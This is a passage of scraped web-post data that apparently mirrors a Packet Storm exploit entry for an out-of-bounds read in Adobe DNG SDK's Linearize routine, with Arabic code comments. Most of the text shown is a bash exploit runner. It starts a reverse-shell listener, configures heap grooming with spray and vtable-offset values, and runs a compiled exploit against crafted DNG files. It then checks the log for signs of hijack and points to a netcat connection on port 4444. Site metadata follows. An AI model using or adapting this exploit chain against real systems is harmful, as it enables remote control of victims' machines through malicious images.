KeyboardInterrupt:\\n print(\\”\\\\n[*] Shutting down listener\\”)\\n except Exception as e:\\n print(f\\”[ERROR] {e}\\”)\\n finally:\\n server.close()\\n \\n if __name__ == \\”__main__\\”:\\n main()\\n EOF\\n \\n chmod +x advanced_listener.py\\n \\n # \u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0640 listener \u0641\u064a \u0627\u0644\u062e\u0644\u0641\u064a\u0629\\n .\/advanced_listener.py \\u0026\\n LISTENER_PID=$!\\n \\n echo $LISTENER_PID \\u003e .listener.pid\\n print_success \\”Listener started with PID: $LISTENER_PID\\”\\n \\n # \u0627\u0644\u0627\u0646\u062a\u0638\u0627\u0631 \u0644\u0644\u062a\u0623\u0643\u062f \u0645\u0646 \u0628\u062f\u0621 \u0627\u0644\u0640 listener\\n sleep 3\\n }\\n \\n # ============== \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 ==============\\n run_exploit() {\\n print_step \\”Running exploit chain…\\”\\n \\n # \u062a\u0639\u064a\u064a\u0646 \u0625\u0639\u062f\u0627\u062f\u0627\u062a Heap Grooming\\n export HEAP_DEBUG=1\\n export HEAP_SPRAY_COUNT=400\\n export HEAP_SPRAY_SIZE=8192\\n export HEAP_TARGET_SIZE=1024\\n export HEAP_VTABLE_OFFSET=0x28\\n \\n print_step \\”Heap grooming configuration:\\”\\n echo \\” SPRAY_COUNT: $HEAP_SPRAY_COUNT\\”\\n echo \\” SPRAY_SIZE: $HEAP_SPRAY_SIZE\\”\\n echo \\” TARGET_SIZE: $HEAP_TARGET_SIZE\\”\\n echo \\” VTABLE_OFFSET: $HEAP_VTABLE_OFFSET\\”\\n \\n local input_dng=\\”exploit.dng\\”\\n local output_dng=\\”final_exploit.dng\\”\\n \\n if [[ ! -f \\”$input_dng\\” ]]; then\\n print_error \\”Input DNG not found: $input_dng\\”\\n return 1\\n fi\\n \\n # \u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\\n print_step \\”Executing: .\/final_exploit $input_dng $output_dng 0\\”\\n echo \\”\\”\\n \\n if [[ -f \\”.\/final_exploit\\” ]]; then\\n timeout 30 .\/final_exploit \\”$input_dng\\” \\”$output_dng\\” 0 2\\u003e\\u00261 | tee exploit.log\\n local exit_code=${PIPESTATUS[0]}\\n \\n echo \\”\\”\\n if [[ $exit_code -eq 0 ]]; then\\n print_success \\”Exploit execution completed\\”\\n elif [[ $exit_code -eq 124 ]]; then\\n print_warning \\”Exploit timed out (may still have worked)\\”\\n else\\n print_error \\”Exploit failed with exit code: $exit_code\\”\\n fi\\n else\\n print_error \\”final_exploit binary not found\\”\\n return 1\\n fi\\n \\n return 0\\n }\\n \\n # ============== \u0639\u0631\u0636 \u0627\u0644\u0646\u062a\u0627\u0626\u062c ==============\\n show_results() {\\n print_step \\”Exploit Results Summary\\”\\n echo \\”========================================\\”\\n \\n # \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0648\u062c\u0648\u062f reverse shell\\n if [[ -f \\”.listener.pid\\” ]]; then\\n local listener_pid=$(cat .listener.pid)\\n if ps -p \\”$listener_pid\\” \\u003e \/dev\/null 2\\u003e\\u00261; then\\n print_warning \\”Listener still running (PID: $listener_pid)\\”\\n print_step \\”Connect to reverse shell: nc -nv 127.0.0.1 4444\\”\\n else\\n print_success \\”Listener completed (check exploit.log for shell output)\\”\\n fi\\n fi\\n \\n # \u0639\u0631\u0636 \u0633\u062c\u0644 \u0627\u0644\u0623\u062e\u0637\u0627\u0621\\n if [[ -f \\”exploit.log\\” ]]; then\\n local error_count=$(grep -c -i \\”error\\\\|fail\\\\|segmentation\\” exploit.log)\\n local success_count=$(grep -c -i \\”success\\\\|hijack\\\\|shell\\” exploit.log)\\n \\n echo \\”\\”\\n echo \\”Log Analysis:\\”\\n echo \\” Errors\/Warnings: $error_count\\”\\n echo \\” Success indicators: $success_count\\”\\n \\n if [[ $success_count -gt 0 ]]; then\\n print_success \\”Exploit shows signs of success!\\”\\n fi\\n fi\\n \\n # \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0646\u0627\u062a\u062c\u0629\\n echo \\”\\”\\n echo \\”Generated files:\\”\\n [[ -f \\”final_exploit.dng\\” ]] \\u0026\\u0026 echo \\” \u2713 final_exploit.dng\\”\\n [[ -f \\”exploit.log\\” ]] \\u0026\\u0026 echo \\” \u2713 exploit.log\\”\\n [[ -f \\”exploit_full.log\\” ]] \\u0026\\u0026 echo \\” \u2713 exploit_full.log\\”\\n \\n echo \\”\\”\\n print_step \\”Next steps:\\”\\n echo \\”1. Check for reverse shell connection\\”\\n echo \\”2. Review exploit.log for detailed output\\”\\n echo \\”3. Adjust heap grooming parameters if needed\\”\\n echo \\”4. Try different libc versions: 0-3\\”\\n }\\n \\n # ============== \u0627\u0644\u062a\u0646\u0638\u064a\u0641 ==============\\n cleanup() {\\n print_step \\”Cleaning up…\\”\\n \\n # \u0625\u064a\u0642\u0627\u0641 \u0627\u0644\u0640 listener\\n if [[ -f \\”.listener.pid\\” ]]; then\\n local listener_pid=$(cat .listener.pid)\\n if ps -p \\”$listener_pid\\” \\u003e \/dev\/null 2\\u003e\\u00261; then\\n kill \\”$listener_pid\\” 2\\u003e\/dev\/null\\n wait \\”$listener_pid\\” 2\\u003e\/dev\/null\\n fi\\n rm -f .listener.pid\\n fi\\n \\n # \u062d\u0630\u0641 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0645\u0624\u0642\u062a\u0629\\n rm -f advanced_listener.py brute_*.dng 2\\u003e\/dev\/null\\n \\n print_success \\”Cleanup completed\\”\\n }\\n \\n # ============== \u0627\u0644\u062f\u0627\u0644\u0629 \u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629 ==============\\n main() {\\n print_header\\n \\n # \u0645\u0639\u0627\u0644\u062c\u0629 Ctrl+C\\n trap ‘echo -e \\”\\\\n${YELLOW}[!] Interrupted${NC}\\”; cleanup; exit 1’ INT\\n \\n # \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0623\u0646\u0647 \u064a\u062a\u0645 \u0627\u0644\u062a\u0634\u063a\u064a\u0644 \u0643\u0640 root (\u0645\u0641\u0636\u0644 \u0644\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644)\\n if [[ $EUID -ne 0 ]]; then\\n print_warning \\”Running as non-root user (some operations may fail)\\”\\n read -p \\”Continue anyway? (y\/n): \\” -n 1 -r\\n echo\\n if [[ ! $REPLY =~ ^[Yy]$ ]]; then\\n exit 1\\n fi\\n fi\\n \\n # \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u062e\u0637\u0648\u0627\u062a\\n check_requirements\\n compile_exploit\\n create_dng_files\\n \\n # \u0628\u062f\u0621 \u0627\u0644\u0640 listener\\n start_advanced_listener\\n \\n # \u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\\n if run_exploit; then\\n show_results\\n else\\n print_error \\”Exploit execution failed\\”\\n fi\\n \\n # \u062a\u0646\u0638\u064a\u0641\\n cleanup\\n \\n echo \\”\\”\\n print_success \\”Exploit script completed\\”\\n echo -e \\”${BLUE}========================================${NC}\\”\\n }\\n \\n # \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0628\u0631\u0646\u0627\u0645\u062c \u0627\u0644\u0631\u0626\u064a\u0633\u064a\\n if [[ \\”${BASH_SOURCE[0]}\\” == \\”${0}\\” ]]; then\\n main \\”$@\\”\\n fi\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/213204″,”cvss”:{“score”:7.1,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:L\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:N\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/213204\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"

{“lastseen”:”2025-12-22T18:23:28″,”description”:”A memory safety vulnerability exists in Adobe DNG SDK versions prior to 1.7.1.2410 that affects the Linearize image processing routine. When handling trimmed source images,…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,50,12,15,13,53,7,11,5],"class_list":["post-32465","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-71","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n\ud83d\udcc4 Adobe DNG SDK Linearize Out-Of-Bounds Read_PACKETSTORM:213204 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=32465\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Adobe DNG SDK Linearize Out-Of-Bounds Read_PACKETSTORM:213204 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{“lastseen”:”2025-12-22T18:23:28″,”description”:”A memory safety vulnerability exists in Adobe DNG SDK versions prior to 1.7.1.2410 that affects the Linearize image processing routine. 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